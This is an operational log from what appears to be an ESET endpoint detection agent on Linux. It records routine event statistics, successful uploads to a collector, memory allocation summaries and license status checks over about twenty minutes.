2026-03-04 15:21:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:17:25, To:, 2026-03-04 15:21:33, Duration (s):, 248, Events Per Second:, 16.491, Events:, 4097, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3373, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454704
2026-03-04 15:21:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s371ms.
2026-03-04 15:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1432 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 264 KB; cloudutils::CloudData: 136 KB; BaseEvent: 64 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 16 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 9984 KB;
2026-03-04 15:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1793 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 251 KB; BaseEvent: 242 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 63 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10565 KB;
2026-03-04 15:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:23:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:23:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:23:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:23:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2203 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 432 KB; rules::ProcessConditionsCache: 345 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 114 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 11341 KB;
2026-03-04 15:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2568 KB; ModuleMetadata: 1968 KB; BaseEvent: 631 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 319 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 166 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 11928 KB;
2026-03-04 15:25:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:21:33, To:, 2026-03-04 15:25:29, Duration (s):, 236, Events Per Second:, 17.348, Events:, 4100, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3358, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 23, Livegrid:, 23, OriginUrl:, 0, Alarms:, 695, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456142
2026-03-04 15:25:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s356ms.
2026-03-04 15:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1527 KB; TcpIpConnectionsManager: 593 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 327 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10219 KB;
2026-03-04 15:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1897 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 315 KB; rules::ProcessConditionsCache: 307 KB; CacheEntry: 288 KB; BaseEvent: 260 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 69 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 10785 KB;
2026-03-04 15:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2233 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 429 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 253 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 113 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 11252 KB;
2026-03-04 15:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:28:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:28:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:28:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:28:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2617 KB; ModuleMetadata: 1968 KB; BaseEvent: 619 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 260 KB; BatchSerializer::EventsQueueTag: 163 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 11874 KB;
2026-03-04 15:29:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:25:26, To:, 2026-03-04 15:29:34, Duration (s):, 248, Events Per Second:, 16.446, Events:, 4083, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3373, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454377
2026-03-04 15:29:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 15:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1407 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 248 KB; cloudutils::CloudData: 136 KB; BaseEvent: 59 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9944 KB;
2026-03-04 15:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1777 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 244 KB; BaseEvent: 240 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 62 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10543 KB;
2026-03-04 15:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2138 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; BaseEvent: 417 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 235 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 108 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 11113 KB;
2026-03-04 15:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2530 KB; ModuleMetadata: 1968 KB; BaseEvent: 604 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 287 KB; BatchSerializer::EventsQueueTag: 158 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 11841 KB;
2026-03-04 15:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:33:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:29:33, To:, 2026-03-04 15:33:41, Duration (s):, 248, Events Per Second:, 16.605, Events:, 4127, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3413, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459273
2026-03-04 15:33:43 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s373ms.
2026-03-04 15:33:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:33:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:33:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:33:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1390 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 272 KB; cloudutils::CloudData: 136 KB; BaseEvent: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 10 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9959 KB;
2026-03-04 15:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1772 KB; TcpIpConnectionsManager: 594 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; ModuleInfoCache: 315 KB; rules::ProcessConditionsCache: 306 KB; CacheEntry: 288 KB; BaseEvent: 222 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 58 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10623 KB;
2026-03-04 15:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2162 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 404 KB; rules::ProcessConditionsCache: 351 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 107 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 11278 KB;
2026-03-04 15:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2521 KB; ModuleMetadata: 1968 KB; BaseEvent: 586 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 315 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 155 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 11826 KB;
2026-03-04 15:37:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:33:41, To:, 2026-03-04 15:37:45, Duration (s):, 244, Events Per Second:, 16.841, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3415, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457146
2026-03-04 15:37:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s411ms.
2026-03-04 15:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1376 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 281 KB; cloudutils::CloudData: 136 KB; BaseEvent: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9919 KB;
2026-03-04 15:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:38:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:38:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:38:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:38:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3856 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1524 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; TcpIpConnectionsManager: 457 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 120 KB; rules::ProcessConditionsCache: 39 KB; BatchSerializer::EventsQueueTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 9848 KB;
2026-03-04 15:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3856 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1524 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; TcpIpConnectionsManager: 281 KB; cloudutils::CloudData: 136 KB; BaseEvent: 123 KB; rules::ProcessConditionsCache: 39 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 9678 KB;
2026-03-04 15:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3856 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1524 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; TcpIpConnectionsManager: 127 KB; BaseEvent: 124 KB; rules::ProcessConditionsCache: 39 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 9525 KB;
2026-03-04 15:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3856 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1524 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 125 KB; TcpIpConnectionsManager: 68 KB; rules::ProcessConditionsCache: 39 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 0 KB; BatchStringTag: 0 KB; Total: 9466 KB;
2026-03-04 15:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3856 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1524 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 125 KB; TcpIpConnectionsManager: 68 KB; rules::ProcessConditionsCache: 39 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 0 KB; BatchStringTag: 0 KB; Total: 9466 KB;
2026-03-04 15:43:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:37:44, To:, 2026-03-04 15:43:26, Duration (s):, 342, Events Per Second:, 18.016, Events:, 6164, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 5102, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 35, Livegrid:, 35, OriginUrl:, 0, Alarms:, 991, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 684988
2026-03-04 15:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:43:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s440ms.
2026-03-04 15:43:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:43:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:43:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:43:48 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7441 KB; ProcessInfo: 2408 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 1024 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 83 KB; ProcessInfoCommandLineTag: 31 KB; rules::ProcessConditionsCache: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 14851 KB;
